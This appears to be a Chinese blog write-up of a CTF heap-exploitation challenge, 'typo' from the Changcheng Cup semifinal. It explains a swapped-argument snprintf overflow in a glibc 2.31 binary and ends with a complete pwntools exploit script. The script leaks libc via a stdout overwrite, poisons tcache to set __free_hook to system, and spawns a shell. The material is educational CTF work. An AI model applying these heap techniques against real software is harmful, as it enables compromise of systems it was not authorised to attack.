第二届长城杯半决赛 pwn-typo

程序分析:

2.31的堆题,没有打印操作。常见的利用手法是house of botcake。

https://forum.butian.net/index.php/share/1709

就是利用unsortedbin的fd,将这个堆块同时释放进tcachebin和unsortedbin,使得可以申请出来stdout上的堆块。需要爆破1/16。

漏洞点:

snprintf的参数顺序错了,导致第二个参数也就是size很大,可以造成堆溢出。

Attack:

1:我在尝试切割unsortedbin,并把切割后剩下的堆块释放进tcachebin,但是很显然,这个堆块在被释放的一瞬间就被更改了fd和bk指针:

当时在宿舍,去了一趟厕所,回来的路上突然灵机一现,既然从unsortedbin进tcachebin会被改fd,那么如果反过来呢?于是就有了下面的思路:

代码:

for i in range(7):
    add(i, 0x80)
add(7, 0x90)
add(8, 0x80)
add(9, 0x80)
add(10, 0x20)
for i in range(6):
    free(i)
free(8)
#free(9)
edit(6,b"a"*0x88+b"\x31\x01",b"A"*0x8)
for i in range(7):
    add(i+11, 0x120)
for i in range(7):
    free(i+11)
free(7)
add(18,0x90)

先申请6个0x80,再申请1个0x80、1个0x90、1个0x80

这个时候我们释放前6个0x80,以及最后一个0x80,此时tcachebin就被填满了,我们通过堆溢出去修改0x90的堆块(7号堆块)的size,让它正好覆盖下一个已经被释放进tcachebin的0x80大小的堆块,然后我们再次填满0x120的tcachebin,此时释放7号堆块就会把这个堆块释放进unsortedbin里面,这个时候我们再申请一个0x90的堆块就会触发unsortedbin的切割,正好剩下了0x80的堆块在unsortedbin,这个时候fd指针就会被更改,由于此时这个堆块也在tcachebin里面,也就达成了我们修改tcachebin fd指针的目的。

2:现在我们想覆写stdout,在stdout-0x43的位置正好有0x7f的值,可以让我们申请。通过调试,我们可以得到这个地址的后三位:65d,由于都在libc里面,而且和上面的fd的值非常接近,我们只需要修改后两个字节就可以了,后三位不变的情况下我们爆破最后一个未知字节就行,1/16的概率。

但是遇到了一点问题:

之前堆溢出都是通过s来溢出,但是snprintf会自动在字符串末尾加一个\x00,也就导致了我们需要爆破3位,也就是1/4096的概率,这样可以是可以,肯定很慢,而且无法调试后面的代码。

这个时候我想到了后面的read,read函数也是向堆块里面写内容,而且没有\x00字符截断,那么我们能不能通过修改read函数的size部分去堆溢出?

显然是可以的,我们通过上一个堆块的snprintf的堆溢出去修改这个堆块的read的size的值,这个时候就可以在read的时候读入超过本堆块size的内容,进而覆盖下一个堆块的fd指针(也就是unsortedbin里面的那个堆块)

理论成立,实验开始:

free(7)
add(18,0x90)#后面的那个堆块的fd指针变了
edit(6,b"a"*0x90+b"\xff",b"A")
edit(18,b"a"*0x98+b"\xff",b"A"*0x90+p64(0x91)+p16(0xc65d))
#debug()
add(19,0x80)
add(20,0x80)#申请出来的stderr的堆块

我们通过6号堆块的溢出去把相邻的下一个堆块(18)的read的size部分修改为\xff,这个时候我们就可以通过修改18号堆块(用read函数)来堆溢出修改下个堆块(unsortedbin)的fd的前两个字节为0xc65d,多试几次就可以修改到stdout-0x43的位置

3:然后我们就可以着手修改_IO_2_1_stdout_的_IO_write_base的最后一个字节为\x00,这样程序就会从_IO_write_base开始输出,一直输出到_IO_write_ptr,会泄露出libc里面的地址。这部分可以参考我之前的博客:blue或者einstein。

edit(20,b"c"*0x10,b"c"*(0x43-8)+p64(0xFBAD1800)+b"!"*0x18+b"\x00")
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
print("libc_base >>>", hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
oog = libc_base + 0xe3afe

在这个过程中又遇到了一些问题,就是把前面的覆盖成\x00好像不行,总是会覆盖失败,所以我就覆盖成了b”!”*0x18+b”\x00″,正好让最后一个字节是\x00就好了。然后就泄露出了很多地址:

计算出libc基址。

4:有了基址接下来我们继续去打tcachebin attack来改free_hook就行,这里别的没什么,要注意unsortedbin被破坏之后就不能正常从程序中申请堆块了,所以我们需要在他被破坏之前申请完后面在用。

add(0,0x40)
add(1,0x40)
add(2,0x40)
add(3,0x40)
add(4,0x40)
add(5,0x40)    

------

free(3)
free(2)
edit(0,b"a"*0x50+b"\xe1",b"a")

edit(1,b"a"*4,b"a"*0x40+p64(0x51)+p64(free_hook-0x10))
#debug()
add(21,0x40)
add(22,0x40)
edit(22,b"a"*0x10+p64(system),b"a")
edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
free(5)

这里用不了onegadget,不符合条件。

正常申请free_hook不太行,程序会把这个位置改为size的内容。所以我们向前申请0x10.

(改为onegadget:

寄存器不符合条件:

那我们用system(“/bin/sh\x00”)就好了

free一个堆块内容是/bin/sh\x00的堆块(通过snprintf的堆溢出写,不然堆块的第一个值会是size,无法getshell)

edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
free(5)

也就是从4号堆块的溢出来写5号堆块的前八个字节。

成功getshell:

exp

from pwn import *

context(os="linux",arch="amd64",log_level="debug")


def debug():
    gdb.attach(p)

def choice(idx):
    p.sendlineafter(">>", str(idx))

def add(idx, size):
    choice(1)
    p.sendlineafter("Index:", str(idx))
    p.sendlineafter("Size:", str(size))

def free(idx):
    choice(2)
    p.sendlineafter("Index:", str(idx))

def edit(idx, size, data):
    choice(3)
    p.sendlineafter("Index:", str(idx))
    p.sendafter("content:", size)
    p.sendafter("say:", data)

def exp():
    for i in range(7):
        add(i, 0x80)
    add(7, 0x90)
    add(8, 0x80)
    add(9, 0x80)
    add(10, 0x20)
    for i in range(6):
        free(i)
    add(0,0x40)
    add(1,0x40)
    add(2,0x40)
    add(3,0x40)
    add(4,0x40)
    add(5,0x40)
    free(8)
    #free(9)
    edit(6,b"a"*0x88+b"\x31\x01",b"A"*0x8)
    for i in range(7):
        add(i+11, 0x120)
    for i in range(7):
        free(i+11)
    free(7)
    add(18,0x90)#后面的那个堆块的fd指针变了
    edit(6,b"a"*0x90+b"\xff",b"A")
    edit(18,b"a"*0x98+b"\xff",b"A"*0x90+p64(0x91)+p16(0xc65d))
    #debug()
    add(19,0x80)
    add(20,0x80)#申请出来的stderr的堆块
    edit(20,b"c"*0x10,b"c"*(0x43-8)+p64(0xFBAD1800)+b"!"*0x18+b"\x00")
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
    print("libc_base >>>", hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    oog = libc_base + 0xe3afe

    free(3)
    free(2)
    edit(0,b"a"*0x50+b"\xe1",b"a")

    edit(1,b"a"*4,b"a"*0x40+p64(0x51)+p64(free_hook-0x10))
    #debug()
    add(21,0x40)
    add(22,0x40)
    edit(22,b"a"*0x10+p64(system),b"a")
    edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
    free(5)
    #debug()
    
    p.interactive()
p = process("./pwn")
libc = ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
#gdb.attach(p, "b*$rebase(0x169D)")
exp()

Fix:

交换snprintf的参数位置即可:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇